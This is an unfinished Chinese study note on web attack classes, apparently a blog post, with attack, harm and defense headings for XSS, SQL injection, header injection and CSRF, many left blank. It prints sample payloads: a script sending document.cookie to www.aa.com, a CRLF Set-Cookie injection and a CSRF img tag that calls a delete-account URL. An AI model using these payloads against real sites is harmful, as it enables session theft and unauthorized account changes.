对web的攻击可分为两大类:
主动攻击该类攻击是攻击者直接对web服务器上的资源进行攻击,最具代表性的是SQL注入攻击和OS攻击及DDOS攻击。
被动攻击攻击者不直接对服务器发起攻击,事先设置好雷区,等待雷区被触发,具有代表性的有跨站脚本攻击和跨站点请求伪造。
因输出值转义不完全引起的安全漏洞
xss 跨站脚本攻击
攻
Cross SiteScript,跨站脚本攻击,又称css攻击。
其核心思路就是将恶意html代码注入到目标网站中(如<script type=”text/javascript”>alert(‘boom!’)</script>),所以经常发生在动态生成html的场景下。
攻击成功后可以做的事情有很多,比如将cookie发送出去,URL跳转等。
只要有用户输入的地方,数据存储时没有对其进行处理,用到改数据的页面都有可能受到XSS攻击(对于script的攻击方式,数据以直接拍到页面的方式才会使攻击生效,ajax请求到数据再通过mvvm框架渲染的方式是不会触发脚本的执行的。但,XSS攻击不仅仅局限于script)
XSS的危害
利用虚假表单骗取用户个人信息
窃取用户cookie
拿微博举例,如果某人发了一段包含<script>window.open(“www.aa.com?param=”+document.cookie)</script>的微博,且XSS攻击成功,那么看到该微博的人都会受到攻击,其cookie被发送至www.aa.com
防
对用户输入的<>”””/&等字符进行转码
对关键cookie进行http-only设置,这样js就失去了访问cookie的能力
SQL注入攻击
攻
在web应用对数据库的查询,添加,删除等操作环节,请求参数参与SQL语句生成,对于调用SQL语句的拼接环节存在疏忽,产生SQL注入攻击。
危害
非法查看无权限数据
删除数据
举例:todo
防
todo
OS命令注入攻击
攻
web应用可以通过shell调用系统命令,因此如果在调用时存在疏忽,就有可能执行了不被期望的OS命令。
危害
防
http首部注入攻击
%0D%0A代表HTTP报文中的换行符。比如在响应头中的Location:www.a.com/aa?id=999添加为Location:www.a.com/aa?id=999%0D%0ASet-Cookie: xxxx,那么就会多出一个set-cookie响应头。此外,连续出现两次%0D%0标志着http头部与主体的分离,同样可以利用这个来修改响应主体。
攻
指的是攻击者通过在响应头部字段中插入换行,添加任意响应首部的一种攻击
危害
设置任意cookie(利用Set-Cookie头)
重定向至任意url(location头)(如果status为200但是有location会怎么样)
防
因设置和设计上的缺陷引发的安全漏洞
强制浏览
攻
危害
防
不当的错误消息处理
攻
危害
防
开放重定向
攻
危害
防
因会话管理疏忽引起的安全漏洞
会话劫持
攻
通过手段拿到用户的会话id并以此id伪装为用户de攻击。
危害
防
会话固定攻击
攻
危害
防
跨站点请求伪造CSRF(cross-site request Forgery)
攻
指攻击者通过事先设定好的陷阱,在用户不知道的情况下发起对某些站点的请求,从而达到修改用户在目标网站里的数据的攻击。如在a.com里有个<img src=”b.com/account/delete” />的标签,此时用户访问a站点时就向b发起了delete请求,假设该接口就是b站点的删除帐号api,且b用户恰恰刚访问了b站点不久,还存有未过期的cookie,那就惨了。
危害
修改用户在目标站点的数据。
—
防
保护好cookie
服务器判断referer
其他安全漏洞
密码破解
攻
危害
防
点击劫持
攻
危害
防
DoS攻击
攻
危害
防
后门程序
攻
危害
防
发表回复